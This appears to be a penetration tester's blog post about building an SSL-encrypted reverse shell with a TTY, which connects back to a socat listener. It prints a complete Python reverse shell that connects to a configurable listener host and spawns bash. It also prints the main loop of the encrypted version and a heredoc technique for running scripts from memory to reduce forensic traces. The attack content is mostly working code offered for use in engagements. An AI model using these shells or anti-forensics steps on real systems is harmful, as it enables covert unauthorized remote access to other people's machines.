- English
- Français
Today's article is going to be a short one. Many of you may have read @ropnop's great post on upgrading plain shells to interactive TTYs. While the commands given in the article can solve usability problems, they provide no help on the transport level where several things can go wrong:
^C
to interrupt a command on the remote host will actually shutdown the netcat listener and leave you with no shell.netcat
with dangerous options, etc.).For this reason, I set out to find a nice solution for Freedom Fighting, a repository of useful pentesting scripts that I maintain. The prerequisites were as follows:
To my great surprise, I could find no such program so I decided to write one. While I initially intended to use cryptcat
(Blowfish encryption with a pre-shared key) as a receiver, I opted for socat
soon after due to how easy it is to make it work with a TTY. As someone told me while working on the script, "socat
is excellent at making $thing
talk to $thing
". When it comes to encryption, socat
supports SSL, so that's where I went although the prospect of using OpenSSL never makes me smile.
As I expected, my first attempts at wrapping SSL around a traditional python reverse shell failed miserably. Consider the following code from this repository:
import os import pty import socket lhost = "127.0.0.1" # XXX: CHANGEME lport = 31337 # XXX: CHANGEME def main(): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((lhost, lport)) os.dup2(s.fileno(),0) os.dup2(s.fileno(),1) os.dup2(s.fileno(),2) os.putenv("HISTFILE",'/dev/null') pty.spawn("/bin/bash") s.close() if __name__ == "__main__": main()
Simple right? Create a socket, bind stdin
, stdout
and stderr
to it, spawn a PTY and that's it. But if you replace the socket creation line with:
s = ssl.wrap_socket(socket.socket(socket.AF_INET, socket.SOCK_STREAM), ssl_version=ssl.PROTOCOL_TLSv1, keyfile=...) s.connect((lhost, lport))
...you'll encounter strange SSL errors on the listener side, such as SSL3_GET_RECORD:wrong version number
, even if you didn't mess up anything in the certificate creation. It turns out that the Python SSL socket is a userspace object, while the handle returned by s.fileno()
comes from the kernel. In other words, Python's SSL module wraps Python's representation of the socket, but not the underlying object: as soon as something is written to s.fileno()
, it is transmitted to the socat
listener as plain text and of course cannot be deciphered properly. Consequence: the whole os.dup2()
method cannot be used in this context. The alternative is to spawn the TTY separately and act as a proxy by forwarding the inputs and outputs. The Stack Overflow answer referenced above was kind enough to point out that Python's SSL sockets also don't play nice with select
and points out solutions. In the end, the program's "main loop" looks like this:
# Spawn a PTY master, slave = pty.openpty() # Run bash inside it bash = subprocess.Popen(["/bin/bash"], preexec_fn=os.setsid, stdin=slave, stdout=slave, stderr=slave, universal_newlines=True) os.write(master, "%s\n" % FIRST_COMMAND) try: while bash.poll() is None: # While bash is alive r, w, e = select.select([s, master], [], []) # Wait for data on either the socket or the PTY if s in r: # Reading data from the SSL socket try: data = s.recv(1024) except ssl.SSLError as e: if e.errno == ssl.SSL_ERROR_WANT_READ: continue raise if not data: # End of file. break data_left = s.pending() while data_left: data += s.recv(data_left) data_left = s.pending() os.write(master, data) elif master in r: # Reading data from the PTY. s.write(os.read(master, 2048)) finally: s.close()
Not much more complex in the end, but a few hours of trial and error were required to debug SSL errors, and also figure out how to properly interact with the PTY and which file descriptors should be put in raw mode (spoiler: none, apparently). The code is available on GitHub, I hope you'll find it useful in your next engagement!
As a parting gift, I also took this opportunity to do some quick research about how to run Python script from memory (i.e. without having to create a .py
file on the disk). It's always a good idea to limit one's forensics footprint on a machine, especially where files containing IP addresses are concerned. The following command can be used to run a whole script from the command line - incidentally, you'll notice that all the scripts from the Freedom Fighting collection are contained in a single file.
python - <<'EOF' a = 1 b = 2 print a+b EOF
...will output 3. Just replace the sample Python code above with the contents of any script you don't want touching the hard drive!